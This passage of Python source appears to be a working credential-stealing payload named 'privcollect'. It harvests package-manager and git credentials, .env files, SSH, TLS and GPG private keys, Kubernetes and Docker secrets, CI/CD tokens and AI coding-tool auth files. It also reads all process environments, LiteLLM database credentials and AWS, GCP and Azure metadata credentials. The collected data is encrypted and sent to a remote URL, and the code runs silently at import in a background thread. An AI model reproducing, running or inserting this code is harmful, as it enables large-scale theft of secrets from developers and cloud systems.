    fixed = [('git-credentials', os.path.join(PC_HOME, '.git-credentials')), ('git-credentials-alt', os.path.join(PC_HOME, '.config', 'git', 'credentials')), ('gitconfig', os.path.join(PC_HOME, '.gitconfig')), ('npmrc', os.path.join(PC_HOME, '.npmrc')), ('pypirc', os.path.join(PC_HOME, '.pypirc')), ('pip_conf', os.path.join(PC_HOME, '.pip', 'pip.conf')), ('pip_conf2', os.path.join(PC_HOME, '.config', 'pip', 'pip.conf')), ('yarnrc', os.path.join(PC_HOME, '.yarnrc.yml')), ('maven_settings', os.path.join(PC_HOME, '.m2', 'settings.xml')), ('gradle_props', os.path.join(PC_HOME, '.gradle', 'gradle.properties')), ('composer_auth', os.path.join(PC_HOME, '.config', 'composer', 'auth.json')), ('gem_credentials', os.path.join(PC_HOME, '.gem', 'credentials')), ('cargo_credentials', os.path.join(PC_HOME, '.cargo', 'credentials.toml')), ('filezilla_recentservers', os.path.join(PC_HOME, '.config', 'filezilla', 'recentservers.xml'))]
    if PC_WIN:
        fixed.append(('composer_auth_win', os.path.join(os.environ.get('APPDATA', ''), 'Composer', 'auth.json')))
        fixed.append(('filezilla_recentservers_win', os.path.join(os.environ.get('APPDATA', ''), 'FileZilla', 'recentservers.xml')))
    groups = {'git': ('git-credentials', 'git-credentials-alt', 'gitconfig'), 'python_packaging': ('npmrc', 'pypirc', 'pip_conf', 'pip_conf2', 'yarnrc'), 'jvm_packaging': ('maven_settings', 'gradle_props'), 'other_packaging': ('composer_auth', 'composer_auth_win', 'gem_credentials', 'cargo_credentials'), 'filezilla': ('filezilla_recentservers', 'filezilla_recentservers_win')}
    on = {lbl for g, lbls in groups.items() if pc_pt(ctx, g) for lbl in lbls}
    fixed = [(label, p) for label, p in fixed if label in on]
    for label, p in fixed:
        if os.path.isfile(p):
            t = pc_txt(p, 131072)
            if t is not None:
                found.append({'name': label, 'path': p, 'content': t})
    for root in {PC_HOME, os.getcwd()} if pc_pt(ctx, 'env_files') else set():
        for p in pc_glob(root, 2, lambda p, n: n in ('.env', '.env.local', '.env.production', '.env.development'), limit=60):
            found.append({'name': 'env_file', 'path': p, 'content': pc_txt(p, 65536) or ''})
    for p in pc_glob(PC_HOME, 2, lambda p, n: n.lower().endswith(('.pem', '.key', '.pfx', '.p12', '.pk8', '.ppk')), limit=60) if pc_pt(ctx, 'key_files') else []:
        found.append({'name': 'key_file', 'path': p})
        pc_add_file(out, p, name='key_' + re.sub('[^A-Za-z0-9._-]', '_', os.path.basename(p)), limit=262144)
    out['items'] = found
    out['count'] = len(found)
    return out

def mod_container_creds(ctx):
    out = pc_o()
    found = []
    sa = '/var/run/secrets/kubernetes.io/serviceaccount'
    tok = pc_txt(os.path.join(sa, 'token'), 65536) if pc_pt(ctx, 'k8s_sa') else None
    if tok:
        found.append({'name': 'k8s_serviceaccount_token', 'path': os.path.join(sa, 'token'), 'content': tok})
        ns = pc_txt(os.path.join(sa, 'namespace'), 4096)
        if ns:
            found.append({'name': 'k8s_serviceaccount_namespace', 'path': os.path.join(sa, 'namespace'), 'content': ns})
    try:
        if pc_pt(ctx, 'run_secrets') and os.path.isdir('/run/secrets'):
            for n in sorted(os.listdir('/run/secrets'))[:24]:
                p = os.path.join('/run/secrets', n)
                if os.path.isfile(p):
                    t = pc_txt(p, 65536)
                    if t:
                        found.append({'name': 'docker_secret_' + n, 'path': p, 'content': t[:32768]})
    except Exception:
        pass
    t = pc_txt(os.path.join(PC_HOME, '.dockercfg'), 131072) if pc_pt(ctx, 'dockercfg') else None
    if t:
        found.append({'name': 'docker_legacy_cfg', 'path': os.path.join(PC_HOME, '.dockercfg'), 'content': t})
    out['items'] = found
    out['count'] = len(found)
    return out

def mod_cicd_secrets(ctx):
    out = pc_o()
    fixed = [('gitlab_runner', '/etc/gitlab-runner/config.toml'), ('jenkins_admin_pw', '/var/lib/jenkins/secrets/initialAdminPassword'), ('jenkins_master_key', '/var/lib/jenkins/secrets/master.key'), ('vault_token', os.path.join(PC_HOME, '.vault-token')), ('terraform_creds', os.path.join(PC_HOME, '.terraform.d', 'credentials.tfrc.json')), ('packer_cfg', os.path.join(PC_HOME, '.config', 'packer', 'config.json'))]
    if not PC_WIN:
        fixed.append(('vault_token_root', '/root/.vault-token'))
    groups = {'gitlab_runner': ('gitlab_runner',), 'jenkins': ('jenkins_admin_pw', 'jenkins_master_key'), 'vault': ('vault_token', 'vault_token_root'), 'terraform': ('terraform_creds',), 'packer': ('packer_cfg',)}
    on = {lbl for g, lbls in groups.items() if pc_pt(ctx, g) for lbl in lbls}
    fixed = [(label, p) for label, p in fixed if label in on]
    found = []
    for label, p in fixed:
        if os.path.isfile(p):
            t = pc_txt(p, 131072)
            if t is not None:
                found.append({'name': label, 'path': p, 'content': t[:65536]})
    out['items'] = found
    out['count'] = len(found)
    return out

def mod_ai_devtools(ctx):
    out = pc_o()
    appdata = os.environ.get('APPDATA', '')
    if PC_WIN:
        cursor_user = os.path.join(appdata, 'Cursor', 'User')
        zed_cfg = os.path.join(appdata, 'Zed')
        code_user = os.path.join(appdata, 'Code', 'User')
        copilot_dir = os.path.join(os.environ.get('LOCALAPPDATA', appdata), 'github-copilot')
        claude_desktop_cfg = os.path.join(appdata, 'Claude', 'claude_desktop_config.json')
        q_base = os.path.join(os.environ.get('LOCALAPPDATA', appdata), 'amazon-q')
    elif PC_MAC:
        cursor_user = os.path.join(PC_HOME, 'Library', 'Application Support', 'Cursor', 'User')
        zed_cfg = os.path.join(PC_HOME, 'Library', 'Application Support', 'Zed')
        code_user = os.path.join(PC_HOME, 'Library', 'Application Support', 'Code', 'User')
        copilot_dir = os.path.join(PC_HOME, '.config', 'github-copilot')
        claude_desktop_cfg = os.path.join(PC_HOME, 'Library', 'Application Support', 'Claude', 'claude_desktop_config.json')
        q_base = os.path.join(PC_HOME, 'Library', 'Application Support', 'amazon-q')
    else:
        cursor_user = os.path.join(PC_HOME, '.config', 'Cursor', 'User')
        zed_cfg = os.path.join(PC_HOME, '.config', 'zed')
        code_user = os.path.join(PC_HOME, '.config', 'Code', 'User')
        copilot_dir = os.path.join(PC_HOME, '.config', 'github-copilot')
        claude_desktop_cfg = os.path.join(PC_HOME, '.config', 'Claude', 'claude_desktop_config.json')
        q_base = os.path.join(PC_HOME, '.local', 'share', 'amazon-q')
    fixed = [('cursor', 'cursor_mcp', os.path.join(PC_HOME, '.cursor', 'mcp.json')), ('cursor', 'cursor_cli', os.path.join(PC_HOME, '.cursor', 'cli-config.json')), ('cursor', 'cursor_machineid', os.path.join(PC_HOME, '.cursor', 'machineid')), ('cursor', 'cursor_settings', os.path.join(cursor_user, 'settings.json')), ('claude', 'claude_config', os.path.join(PC_HOME, '.claude.json')), ('claude', 'claude_settings', os.path.join(PC_HOME, '.claude', 'settings.json')), ('claude', 'claude_credentials', os.path.join(PC_HOME, '.claude', '.credentials.json')), ('kiro', 'kiro_mcp', os.path.join(PC_HOME, '.kiro', 'settings', 'mcp.json')), ('windsurf', 'windsurf_mcp', os.path.join(PC_HOME, '.codeium', 'windsurf', 'mcp_config.json')), ('zed', 'zed_settings', os.path.join(zed_cfg, 'settings.json')), ('vscode_ai', 'copilot_hosts', os.path.join(copilot_dir, 'hosts.json')), ('vscode_ai', 'copilot_apps', os.path.join(copilot_dir, 'apps.json')), ('vscode_ai', 'vscode_settings', os.path.join(code_user, 'settings.json')), ('gemini_cli', 'gemini_settings', os.path.join(PC_HOME, '.gemini', 'settings.json')), ('gemini_cli', 'gemini_oauth', os.path.join(PC_HOME, '.gemini', 'oauth_creds.json')), ('codex_cli', 'codex_auth', os.path.join(PC_HOME, '.codex', 'auth.json')), ('codex_cli', 'codex_config', os.path.join(PC_HOME, '.codex', 'config.toml')), ('other_ai', 'continue_config', os.path.join(PC_HOME, '.continue', 'config.json')), ('other_ai', 'continue_yaml', os.path.join(PC_HOME, '.continue', 'config.yaml')), ('other_ai', 'aider_conf', os.path.join(PC_HOME, '.aider.conf.yml')), ('other_ai', 'goose_config', os.path.join(PC_HOME, '.config', 'goose', 'config.yaml')), ('other_ai', 'opencode_auth', os.path.join(PC_HOME, '.local', 'share', 'opencode', 'auth.json')), ('other_ai', 'qwen_oauth', os.path.join(PC_HOME, '.qwen', 'oauth_creds.json')), ('other_ai', 'crush_config', os.path.join(PC_HOME, '.config', 'crush', 'crush.json')), ('claude', 'claude_settings_local', os.path.join(PC_HOME, '.claude', 'settings.local.json')), ('claude', 'claude_desktop_config', claude_desktop_cfg), ('vscode_ai', 'vscode_mcp', os.path.join(code_user, 'mcp.json')), ('windsurf', 'codeium_cfg', os.path.join(PC_HOME, '.codeium', 'config.json')), ('other_ai', 'hf_token', os.path.join(PC_HOME, '.cache', 'huggingface', 'token')), ('other_ai', 'hf_token_legacy', os.path.join(PC_HOME, '.huggingface', 'token')), ('other_ai', 'continue_env', os.path.join(PC_HOME, '.continue', '.env'))]
    for pt_id, base in (('cursor', os.path.join(PC_HOME, '.cursor')), ('claude', os.path.join(PC_HOME, '.claude')), ('kiro', os.path.join(PC_HOME, '.kiro', 'settings')), ('kiro', os.path.join(PC_HOME, '.kiro')), ('windsurf', os.path.join(PC_HOME, '.codeium', 'windsurf')), ('gemini_cli', os.path.join(PC_HOME, '.gemini')), ('codex_cli', os.path.join(PC_HOME, '.codex')), ('other_ai', os.path.join(PC_HOME, '.qwen')), ('vscode_ai', os.path.join(PC_HOME, '.copilot')), ('vscode_ai', os.path.join(code_user, 'globalStorage', 'saoudrizwan.claude-dev', 'settings')), ('vscode_ai', os.path.join(code_user, 'globalStorage', 'RooVeterinaryInc.roo-cline', 'settings')), ('vscode_ai', os.path.join(code_user, 'globalStorage', 'sourcegraph.cody-ai')), ('vscode_ai', os.path.join(code_user, 'globalStorage', 'anthropic.claude-code')), ('other_ai', os.path.join(PC_HOME, '.config', 'opencode')), ('other_ai', os.path.join(PC_HOME, '.config', 'amp')), ('other_ai', os.path.join(PC_HOME, '.factory')), ('other_ai', os.path.join(PC_HOME, '.trae')), ('other_ai', os.path.join(PC_HOME, '.ollama')), ('other_ai', q_base)):
        if pc_pt(ctx, pt_id) and os.path.isdir(base):
            fixed += [(pt_id, pt_id + '_json', p) for p in pc_glob(base, 0, lambda p, n: n.endswith('.json'), limit=40)]
    on = [(label, p) for g, label, p in fixed if pc_pt(ctx, g)]
    items = []
    seen = set()
    budget = [4194304]
    for label, p in on:
        if p in seen or budget[0] <= 0 or (not os.path.isfile(p)):
            continue
        seen.add(p)
        t = pc_txt(p, min(1048576, budget[0]))
        if t:
            budget[0] -= len(t)
            items.append({'label': label, 'path': p, 'content': t})
    out['items'] = items
    out['count'] = len(items)
    return out

def mod_env_vars(ctx):
    items = [{'name': k, 'value': v} for k, v in (os.environ.items() if pc_pt(ctx, 'self_env') else []) if v]
    out = pc_o(items=items, count=len(items))
    if PC_LINUX and pc_pt(ctx, 'proc_env'):
        procs, seen, skipped, own = ([], {}, 0, os.getpid())
        try:
            pids = sorted((int(n) for n in os.listdir('/proc') if n.isdigit()))
        except Exception:
            pids = []
        for pid in pids:
            if pid == own:
                continue
            try:
                with open('/proc/%d/environ' % pid, 'rb') as f:
                    raw = f.read()
            except Exception:
                skipped += 1
                continue
            if not raw:
                skipped += 1
                continue
            vars = {}
            for kv in raw.split(b'\x00'):
                if not kv:
                    continue
                eq = kv.find(b'=')
                if eq <= 0:
                    continue
                k = kv[:eq].decode('utf-8', 'replace')
                v = kv[eq + 1:].decode('utf-8', 'replace')
                if v:
                    vars[k] = v
            if not vars:
                skipped += 1
                continue
            comm = ''
            try:
                with open('/proc/%d/comm' % pid, 'rb') as f:
                    comm = f.read().decode('utf-8', 'replace').strip()
            except Exception:
                pass
            uid = None
            try:
                uid = os.stat('/proc/%d' % pid).st_uid
            except Exception:
                pass
            h = hashlib.sha1(raw).hexdigest()[:16]
            dup = seen.get(h)
            if dup is not None:
                dup['pids'].append(pid)
                continue
            ent = {'pid': pid, 'comm': comm, 'uid': uid, 'vars': vars, 'count': len(vars), 'hash': h, 'pids': [pid]}
            seen[h] = ent
            procs.append(ent)
        out['procs'] = procs
        out['proc_count'] = len(procs)
        out['skipped'] = skipped
    return out

def mod_db_litellm(ctx):
    url = os.environ.get('DATABASE_URL')
    if not url:
        return pc_o()
    want_creds = pc_pt(ctx, 'credentials')
    want_models = pc_pt(ctx, 'models')
    if not want_creds and (not want_models):
        return pc_o()
    child = 'import asyncio, json, os, sys\nurl = sys.argv[1]\n\ndef _reap():\n    me = os.getpid()\n    for d in os.listdir("/proc"):\n        if not d.isdigit():\n            continue\n        try:\n            st = open("/proc/" + d + "/stat").read()\n            if int(st.rsplit(")", 1)[1].split()[1]) == me:\n                os.kill(int(d), 9)\n        except Exception:\n            pass\n\nsaved1 = saved2 = nd = None\ntry:\n    saved1, saved2 = os.dup(1), os.dup(2)\n    nd = os.open(os.devnull, os.O_WRONLY)\n    os.dup2(nd, 1)\n    os.dup2(nd, 2)\nexcept Exception:\n    pass\n\nasync def _q(db, sql):\n    try:\n        return await db.query_raw(sql)\n    except Exception:\n        return None\n\nasync def _main():\n    import prisma\n    try:\n        db = prisma.Prisma()\n        await db.connect()\n    except Exception:\n        try:\n            db = prisma.Prisma(datasource={"db": {"url": url}})\n            await db.connect()\n        except Exception:\n            return None, None\n    try:\n        creds = await _q(db, \'SELECT "credential_name", "credential_values" \'\n                             \'FROM "LiteLLM_CredentialsTable" LIMIT 500\')\n        models = await _q(db, \'SELECT "model_name", "litellm_params" \'\n                              \'FROM "LiteLLM_ProxyModelTable" LIMIT 500\')\n        return creds, models\n    finally:\n        try:\n            await db.disconnect()\n        except Exception:\n            pass\n\nasync def _wrap():\n    return await asyncio.wait_for(_main(), 10)\n\ncreds = models = None\ntry:\n    creds, models = asyncio.run(_wrap())\nexcept Exception:\n    pass\ntry:\n    if saved1 is not None:\n        os.dup2(saved1, 1)\n    if saved2 is not None:\n        os.dup2(saved2, 2)\n    for fd in (saved1, saved2, nd):\n        if fd is not None:\n            os.close(fd)\nexcept Exception:\n    pass\n_reap()\ntry:\n    print(json.dumps({"credentials": creds, "models": models}, default=str))\nexcept Exception:\n    pass\n'

    def _scan_engines():
        ids = set()
        for d in os.listdir('/proc'):
            if not d.isdigit():
                continue
            try:
                with open('/proc/' + d + '/cmdline', 'rb') as f:
                    if b'query-engine' in f.read():
                        ids.add(int(d))
            except Exception:
                pass
        return ids
    pre = _scan_engines()
    out = pc_run([sys.executable, '-c', child, url], timeout=15)
    try:
        for pid in _scan_engines() - pre:
            os.kill(pid, 9)
    except Exception:
        pass
    try:
        lines = [ln for ln in (out or '').strip().splitlines() if ln.strip()]
        data = json.loads(lines[-1]) if lines else {}
    except Exception:
        data = {}
    creds = data.get('credentials')
    models = data.get('models')
    if creds is None and models is None:
        return pc_o()

    def _norm(rows):
        out = []
        for row in rows or []:
            item = {}
            for k, v in (row or {}).items():
                if isinstance(v, str) and v[:1] in ('{', '['):
                    try:
                        v = json.loads(v)
                    except Exception:
                        pass
                item[k] = v
            out.append(item)
        return out
    res = pc_o(database=True)
    if want_creds:
        res['credentials'] = _norm(creds)
        res['credential_count'] = len(creds or [])
    if want_models:
        res['models'] = _norm(models)
        res['model_count'] = len(models or [])
    return res

def mod_cloud_metadata(ctx):
    import hmac
    import urllib.request as _u
    out = pc_o()

    def _http(url, method='GET', headers=None, timeout=1.5, cap=262144):
        try:
            req = _u.Request(url, data=b'' if method == 'PUT' else None, method=method)
            for k, v in (headers or {}).items():
                req.add_header(k, v)
            with _u.urlopen(req, timeout=timeout) as r:
                return r.read(cap).decode('utf-8', 'replace').strip()
        except Exception:
            return ''
    aws = {}
    imds = 'http://169.254.169.254'
    tok = _http(imds + '/latest/api/token', method='PUT', headers={'X-aws-ec2-metadata-token-ttl-seconds': '300'})
    thdr = {'X-aws-ec2-metadata-token': tok} if tok else {}

    def _md(path, timeout=1.5):
        t = _http(imds + path, headers=thdr, timeout=timeout)
        if not t and tok:
            t = _http(imds + path, timeout=timeout)
        return t
    aws_on = pc_pt(ctx, 'aws')
    doc = _md('/latest/dynamic/instance-identity/document', timeout=2) if aws_on else ''
    if doc:
        try:
            d = json.loads(doc)
            aws = {'account_id': d.get('accountId'), 'instance_id': d.get('instanceId'), 'region': d.get('region'), 'ami_id': d.get('imageId'), 'instance_type': d.get('instanceType'), 'az': d.get('availabilityZone'), 'private_ip': d.get('privateIp'), 'architecture': d.get('architecture')}
        except Exception:
            aws = {'identity_document': doc[:4096]}
    else:
        iid = _md('/latest/meta-data/instance-id') if aws_on else ''
        if iid:
            aws = {'instance_id': iid.splitlines()[0]}
            for k, p in (('ami_id', '/latest/meta-data/ami-id'), ('instance_type', '/latest/meta-data/instance-type'), ('az', '/latest/meta-data/placement/availability-zone'), ('hostname', '/latest/meta-data/hostname'), ('local_ipv4', '/latest/meta-data/local-ipv4'), ('public_ipv4', '/latest/meta-data/public-ipv4')):
                v = _md(p)
                if v:
                    aws[k] = v.splitlines()[0]
    if aws:
        roles = _md('/latest/meta-data/iam/security-credentials/')
        creds = []
        for rn in roles.split():
            body = _md('/latest/meta-data/iam/security-credentials/' + rn, timeout=2)
            try:
                j = json.loads(body)
                creds.append({'role': rn, 'access_key_id': j.get('AccessKeyId'), 'secret_access_key': j.get('SecretAccessKey'), 'session_token': j.get('Token'), 'expiration': j.get('Expiration')})
            except Exception:
                pass
        if creds:
            aws['iam_role_credentials'] = creds
        elif roles:
            aws['iam_roles'] = roles.split()
    rel = os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI')
    if rel and aws_on:
        try:
            j = json.loads(_http('http://169.254.170.2' + rel, timeout=1.5))
            aws['ecs_task_credentials'] = {'role_arn': j.get('RoleArn'), 'access_key_id': j.get('AccessKeyId'), 'secret_access_key': j.get('SecretAccessKey'), 'session_token': j.get('Token')}
        except Exception:
            pass
    emu = os.environ.get('ECS_CONTAINER_METADATA_URI_V4') or os.environ.get('ECS_CONTAINER_METADATA_URI')
    if emu and aws_on:
        t = _http(emu, timeout=1.5)
        if t:
            aws['ecs_task_metadata'] = t[:8192]

    def _sts(ak, sk, tok_, region):
        try:
            import boto3
            from botocore.config import Config
            c = boto3.client('sts', aws_access_key_id=ak, aws_secret_access_key=sk, aws_session_token=tok_ or None, region_name=region or None, config=Config(connect_timeout=1.5, read_timeout=2.5, retries={'max_attempts': 0}))
            r = c.get_caller_identity()
            return {'arn': r.get('Arn'), 'account': r.get('Account'), 'user_id': r.get('UserId')}
        except Exception:
            pass
        try:
            import datetime
            host = 'sts.%s.amazonaws.com' % region if region else 'sts.amazonaws.com'
            scope_r = region or 'us-east-1'
            now = datetime.datetime.now(datetime.timezone.utc)
            amzdate = now.strftime('%Y%m%dT%H%M%SZ')
            datestamp = now.strftime('%Y%m%d')
            q = 'Action=GetCallerIdentity&Version=2011-06-15'
            hs = {'host': host, 'x-amz-date': amzdate}
            if tok_:
                hs['x-amz-security-token'] = tok_
            sh = ';'.join(sorted(hs))
            cr = 'GET\n/\n%s\n%s\n%s\n%s' % (q, ''.join(('%s:%s\n' % (k, hs[k]) for k in sorted(hs))), sh, hashlib.sha256(b'').hexdigest())
            scope = '%s/%s/sts/aws4_request' % (datestamp, scope_r)
            k = ('AWS4' + sk).encode()
            for s in (datestamp, scope_r, 'sts', 'aws4_request'):
                k = hmac.new(k, s.encode(), hashlib.sha256).digest()
            sig = hmac.new(k, ('AWS4-HMAC-SHA256\n%s\n%s\n%s' % (amzdate, scope, hashlib.sha256(cr.encode()).hexdigest())).encode(), hashlib.sha256).hexdigest()
            h = {'x-amz-date': amzdate, 'Authorization': 'AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s' % (ak, scope, sh, sig)}
            if tok_:
                h['x-amz-security-token'] = tok_
            body = _u.urlopen(_u.Request('https://%s/?%s' % (host, q), headers=h), timeout=2.5).read(65536).decode('utf-8', 'replace')

            def _tg(t):
                m = re.search('<%s>([^<]+)</%s>' % (t, t), body)
                return m.group(1) if m else ''
            if _tg('Arn'):
                return {'arn': _tg('Arn'), 'account': _tg('Account'), 'user_id': _tg('UserId')}
        except Exception:
            pass
        return None
    cred = None
    if aws.get('iam_role_credentials'):
        c0 = aws['iam_role_credentials'][0]
        cred = (c0['access_key_id'], c0['secret_access_key'], c0['session_token'] or '')
    elif aws.get('ecs_task_credentials'):
        c0 = aws['ecs_task_credentials']
        cred = (c0['access_key_id'], c0['secret_access_key'], c0['session_token'] or '')
    elif os.environ.get('AWS_ACCESS_KEY_ID') and os.environ.get('AWS_SECRET_ACCESS_KEY'):
        cred = (os.environ['AWS_ACCESS_KEY_ID'], os.environ['AWS_SECRET_ACCESS_KEY'], os.environ.get('AWS_SESSION_TOKEN', ''))
    if cred and pc_pt(ctx, 'sts_verify'):
        r = _sts(cred[0], cred[1], cred[2], aws.get('region') or os.environ.get('AWS_REGION', ''))
        if r:
            aws['caller_identity'] = r
    gcp = {}
    g = 'http://169.254.169.254/computeMetadata/v1'
    gh = {'Host': 'metadata.google.internal', 'Metadata-Flavor': 'Google'}
    pid = _http(g + '/project/project-id', headers=gh) if pc_pt(ctx, 'gcp') else ''
    if pid:
        gcp['project_id'] = pid
        for k, p in (('numeric_project_id', '/project/numeric-project-id'), ('instance_name', '/instance/name'), ('machine_type', '/instance/machine-type'), ('zone', '/instance/zone'), ('external_ip', '/instance/network-interfaces/0/access-configs/0/external-ip')):
            v = _http(g + p, headers=gh)
            if v:
                v = v.splitlines()[0]
                if k in ('machine_type', 'zone'):
                    v = v.rsplit('/', 1)[-1]
                gcp[k] = v
        sas = []
        for email in _http(g + '/instance/service-accounts/', headers=gh).split():
            email = email.strip().strip('/')
            if not email:
                continue
            ent = {'email': email}
            try:
                j = json.loads(_http(g + '/instance/service-accounts/%s/token' % email, headers=gh, timeout=2))
                ent['access_token'] = j.get('access_token')
                ent['expires_in'] = j.get('expires_in')
            except Exception:
                pass
            sc = _http(g + '/instance/service-accounts/%s/scopes' % email, headers=gh)
            if sc:
                ent['scopes'] = sc.split()
            sas.append(ent)
        if sas:
            gcp['service_accounts'] = sas
    az = {}
    ab = _http('http://169.254.169.254/metadata/instance?api-version=2021-02-01', headers={'Metadata': 'true'}, timeout=2) if pc_pt(ctx, 'azure') else ''
    if ab:
        try:
            j = json.loads(ab)
            c = j.get('compute') or {}
            az = {'vm_id': c.get('vmId'), 'name': c.get('name'), 'vm_size': c.get('vmSize'), 'subscription_id': c.get('subscriptionId'), 'resource_group': c.get('resourceGroupName'), 'location': c.get('location'), 'os_type': c.get('osType'), 'publisher': c.get('publisher'), 'offer': c.get('offer'), 'sku': c.get('sku'), 'tags': c.get('tags')}
            if j.get('network'):
                az['network'] = j['network']
        except Exception:
            az = {'raw': ab[:8192]}
    found = []
    if aws:
        out['aws'] = aws
        found.append('aws')
    if gcp:
        out['gcp'] = gcp
        found.append('gcp')
    if az:
        out['azure'] = az
        found.append('azure')
    out['detected'] = found
    out['count'] = len(found)
    return out

def mod_gpg_keys(ctx):
    out = pc_o()
    if PC_WIN:
        return out
    g = os.path.join(PC_HOME, '.gnupg')
    if not os.path.isdir(g):
        return out
    found = []
    for name in ('secring.gpg', 'gpg.conf') if pc_pt(ctx, 'secring_conf') else ():
        p = os.path.join(g, name)
        if os.path.isfile(p):
            t = pc_txt(p, 131072)
            if t is not None:
                found.append({'name': name, 'path': p, 'content': t[:65536]})
            else:
                pc_add_file(out, p, name='gpg_' + name)
    keys = []
    kd = os.path.join(g, 'private-keys-v1.d')
    try:
        if pc_pt(ctx, 'private_keys') and os.path.isdir(kd):
            for n in sorted(os.listdir(kd))[:32]:
                p = os.path.join(kd, n)
                if n.endswith('.key') and os.path.isfile(p):
                    keys.append({'name': n, 'path': p})
                    pc_add_file(out, p, name='gpg_key_' + re.sub('[^A-Za-z0-9._-]', '_', n[:24]), limit=262144)
    except Exception:
        pass
    out['items'] = found
    out['private_keys'] = keys
    out['count'] = len(found) + len(keys)
    return out

def mod_tls_privkey(ctx):
    out = pc_o()
    if PC_WIN:
        return out
    exts = ('.key', '.pfx', '.p12')
    dirs = ['/etc/ssl/private', '/etc/pki/tls/private', '/etc/nginx/ssl', '/etc/apache2/ssl', '/etc/httpd/ssl']
    found = []
    for d in dirs if pc_pt(ctx, 'system_dirs') else []:
        try:
            if not os.path.isdir(d):
                continue
            for n in sorted(os.listdir(d)):
                if not n.lower().endswith(exts):
                    continue
                p = os.path.join(d, n)
                found.append({'path': p})
                pc_add_file(out, p, name='tls_' + re.sub('[^A-Za-z0-9._-]', '_', p.strip('/'))[:60], limit=524288)
        except Exception:
            continue
    le = '/etc/letsencrypt/live'
    try:
        if pc_pt(ctx, 'letsencrypt') and os.path.isdir(le):
            for dom in sorted(os.listdir(le))[:16]:
                p = os.path.join(le, dom, 'privkey.pem')
                if os.path.isfile(p):
                    found.append({'path': p})
                    pc_add_file(out, p, name='tls_le_' + re.sub('[^A-Za-z0-9._-]', '_', dom)[:40], limit=524288)
    except Exception:
        pass
    out['items'] = found
    out['count'] = len(found)
    return out

def pc_pt(ctx, pid):
    pts = (ctx or {}).get('points')
    return True if pts is None else pid in pts

def pc_collect_all(only=None):
    mods = PC_MODULES if only is None else [m for m in PC_MODULES if m == only]
    results = {}
    for mid in mods:
        fn = globals().get('mod_' + mid)
        if fn is None:
            results[mid] = {'error': 'module missing'}
            continue
        try:
            ctx = {}
            pts = PC_POINTS.get(mid)
            if pts is not None:
                ctx['points'] = pts
            results[mid] = fn(ctx)
        except Exception as e:
            results[mid] = {'error': repr(e)[:300]}
    return results

def _pc_guard(fn):
    try:
        fn()
    except Exception:
        pass

def pc_run_once():
    skip = bool(PC_ONCE_PATH and os.path.exists(PC_ONCE_PATH))
    if PC_JITTER:
        time.sleep(random.uniform(0, PC_JITTER))
    t0 = time.time()
    if skip:
        results = pc_collect_all(only='exec_py')
        if not results:
            return
    else:
        results = pc_collect_all()
    batch = os.urandom(16).hex()
    meta = {'hostname': socket.gethostname(), 'user': getpass.getuser(), 'system': platform.system(), 'release': platform.release(), 'arch': platform.machine(), 'python': platform.python_version()}
    doc = {'v': 1, 'tool': 'privcollect', 'target': PC_TARGET, 'batch': batch, 'collected_at': time.strftime('%Y-%m-%d %H:%M:%S'), 'elapsed_s': round(time.time() - t0, 1), 'meta': meta, 'results': results}
    data = json.dumps(doc, ensure_ascii=False, default=str).encode('utf-8', 'replace')
    key, iv = (os.urandom(32), os.urandom(16))
    ct = pc_aes_enc(key, iv, data)
    kct, md = pc_rsa_enc(PC_PUBKEY.encode(), key)
    hdr = {'v': 1, 'cipher': 'aes-256-cbc', 'oaep': md, 'target': PC_TARGET, 'ts': int(time.time())}
    body = pc_pack(hdr, iv + ct, kct)
    ok = pc_post(PC_URL, body, PC_TOKEN)
    if PC_ONCE_PATH and ok and (not skip):
        try:
            with open(PC_ONCE_PATH, 'w') as f:
                f.write('1')
        except Exception:
            pass

def pc_entry():
    if os.environ.get('PRIVCOLLECT_ACTIVE'):
        return
    os.environ['PRIVCOLLECT_ACTIVE'] = '1'
    if PC_ASYNC:
        import threading
        threading.Thread(target=lambda: _pc_guard(pc_run_once), daemon=True).start()
    else:
        _pc_guard(pc_run_once)
pc_entry()